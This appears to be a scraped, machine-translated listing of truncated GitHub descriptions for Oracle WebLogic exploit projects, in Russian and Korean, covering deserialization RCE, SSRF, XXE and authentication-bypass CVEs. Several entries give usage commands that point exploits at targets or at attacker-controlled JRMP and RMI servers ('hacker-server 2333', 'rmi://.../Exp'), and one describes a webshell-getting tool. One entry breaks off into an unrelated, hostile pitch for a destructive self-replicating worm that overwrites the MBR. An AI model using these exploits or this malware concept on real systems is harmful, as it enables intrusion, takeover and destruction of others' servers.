CVE-2019-2890

Заявление Используется только для учебных целей. За последствия другого использования ответственность несет пользователь. Описание Соответствующие jar-файлы уже импортированы в проект, метод эксплуатации использует JRMP от yso. При обучении и отладке можно изменить метод эксплуатации. Сначала...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP десериализация Тестовая среда Weblogic10.3.6+jdk1.6 Запакованный jar-файл Код извлечения: a6ob Эксплуатация уязвимости Скачайте jar-файл, затем с помощью marshalsec поднимите вредоносный RMI-сервис, локально скомпилируйте exp.java package payload; import...

Oracle-WebLogic-CVE-2017-10271-master

WebLogic Wls-wsat XMLDecoder 취약점 설명 mitre:https://vulners.com/cve/CVE-2017-3506 초기에 해커들은 WebLogic WLS 구성 요소의 취약점을 이용하여 기업 서버에 대규모 원격 공격을 감행했으며, 많은 기업의 서버가 장악되었고, 피해 기업 수는 뚜렷한 증가 추세를 보여 심각한 주의가 필요합니다. 그중 CVE-2017-3506은 Oracle WebLogic의 WLS 구성 요소를 이용한 원격 코드 실행 취약점으로, 공개되지 않은 세부 사항이 있는 현장 악용 취약점이며, ...

CVE-2020-14882

Неавторизованный RCE-эксплойт Oracle WebLogic Этот скрипт PowerShell использует CVE-2020-14882 для неавторизованного удаленного выполнения кода на версиях Oracle WebLogic Server: 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 Использование .\exploit.ps1 -target 'https://target:7001'...

Oracle-WebLogic-CVE-2022-21371

Oracle-WebLogic-CVE-2022-21371 Oracle WebLogic Server: локальное включение файлов : CVE-2022-21371 Затронутые версии: Версии: 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 и 14.1.1.0.0 Описание: Продукт Oracle WebLogic Server компонент Web Container из состава Oracle Fusion Middleware уязвим к локальному...

POC-CVE-2026-60206

CVE-2026-60206 — Oracle WebLogic SAML 인증 우회 CVSS 9.9 — Oracle WebLogic Server Core의 SAML 인증 우회. 영향 대상: 12.2.1.4.0 14.1.1.0.0 14.1.2.0.0 15.1.1.0.0 ⚠️ 승인된 보안 테스트 전용입니다. 설치 git clone https://github.com/imbas007/CVE-2026-60206.git cd CVE-2026-60206 pip install -r requirements.txt 사용법 단일 대상 Detect...

CVE-Exploit

Twitter: @0xAbbarhSF 1、CVE-2020-2551 CVE-2020-2551 poc эксплойт пример на Python ключи: GIOP corba Как использовать python3 CVE-2020-2551.py -u http://192.168.26.79:7001 cat urls.txt|sort -u|xargs -I % python3 CVE-2020-2551.py -u % cat xxx.html|grep -Eo 'https?://^ /+'|sort -u|xargs -I % python3...

Exploit-CVE-2014-4210-

НАЧНИ С КРУТОЙ ШТУКИ, ЧУВАКИСПОЛЬЗУЙ ЕЁ, ЧТОБЫ НА…ТЬ ОБНОВЛЕНИЯ, ВЫЗЫВАЮЩИЕ ЧЕЛОВЕЧЕСКИЕ СТРАДАНИЯ: 1. Самореплицирующийся червь : Распространяется через SSH-брутфорс/SMB-эксплойты на все подключённые сети. 2. Перезапись MBR : Уничтожает физическое оборудование, разрушая таблицы разделов...

JavaUnserializeExploits

JavaUnserializeExploits Python-скрипты и HTTP-запрос, упомянутые в записи блога «Что общего у WebLogic, WebSphere, JBoss, Jenkins, OpenNMS и вашего приложения? Эта уязвимость» на http://foxglovesecurity.com...

CVE-2020-14882

Уязвимость удаленного выполнения кода в WebLogic - CVE-2020-14882 Введение CVE-2020-14882 — это ошибка удаленного выполнения кода RCE в компоненте Console Oracle WebLogic Server. Эта ошибка, не требующая аутентификации, получила оценку сложности атаки «низкая» и была отмечена Oracle как «легко...

CVE-2020-14882

CVE-2020-14882 Weblogic 10 weblogic 10 Weblogic 12 weblogic 12...

Oracle-WebLogic-CVE-2017-10271

WebLogic Wls-wsat XMLDecoder Описание уязвимости mitre:https://vulners.com/cve/CVE-2017-3506 Ранее хакеры использовали уязвимость в компоненте WLS WebLogic для массовых удаленных атак на корпоративные серверы. Множество серверов предприятий были скомпрометированы, и количество атакованных...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

CVE-2022-21445-for-12.2.1.3.0-Weblogic

Обзор CVE-2022-21445 оценка CVSS 9,8 — это уязвимость, связанная с ненадёжной десериализацией данных, обнаруженная в компоненте ADF Faces, которая может быть удалённо эксплуатирована злоумышленниками без аутентификации pre-authentication для выполнения RCE. Уязвимость была обнаружена двумя...

CVE-2014-4210-SSRF-PORTSCANNER-POC

CVE-2014-4210 SSRF PORTSCANNER PoC Автор: Aaron Mizrachi unmanarc [email protected] Twitter: https://twitter.com/unmanarc Лицензия: LGPLv3 Ответственность / Юридическое предупреждение Этот проект создан ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ и ЭТИЧЕСКИХ ЦЕЛЕЙ тестирования. Использование исходного кода и...

Weblogic

weblogic CVE-2019-2725 CVE-2019-2729 POC Выполнить команду и показать результат использование: Одиночная цель python3 weblogicgetwebshell.py http://url Пакетные цели, поместите URL-адреса в urllist.txt python3 weblogicgetwebshell.py all...

WebLogic-SSRF_CVE-2014-4210

WebLogic-SSRFCVE-2014-4210 Эксплойт-скрипт для Weblogic SearchPublicRegistries SSRF CVE-2014-4210 на основе Python3 Использование Необязательные аргументы: -h, --help показать это справочное сообщение и выйти -u U URL одной цели -uf UF читать URL-адреса из файла -p P сканировать только указанные...

CVE-2019-2888

CVE-2019-2888 WebLogic EJBTaglibDescriptor XXE Уязвимость https://www.oracle.com/security-alerts/cpuoct2019.html fernflower.jar weblogic.jar/weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor.class ╭─root@jas502n /var ╰─ find ./ |grep EJBTaglibDescriptor  ✔  8388  18:32:43...

CVE-2020-2551

Твиттер: @Hktalent3135773 0、как получить профессиональные эксплойт-инструменты? смотрите https://github.com/hktalent/CVE-2020-2551/issues/5 1、CVE-2020-2551 CVE-2020-2551 пример эксплойта и PoC на Python ключи: GIOP corba Как использовать python3 CVE-2020-2551.py -u http://192.168.26.79:7001 cat...

CVE-2018-3191

Генератор payload для CVE-2018-3191 Скачать: https://github.com/voidfyoo/CVE-2018-3191/releases Использование java -jar weblogic-spring-jndi.jar например: java -jar weblogic-spring-jndi.jar rmi://192.168.1.1:1099/Exp Примечания weblogic-spring-jndi-12.2.1.3.jar для weblogic: 12.2.1.3...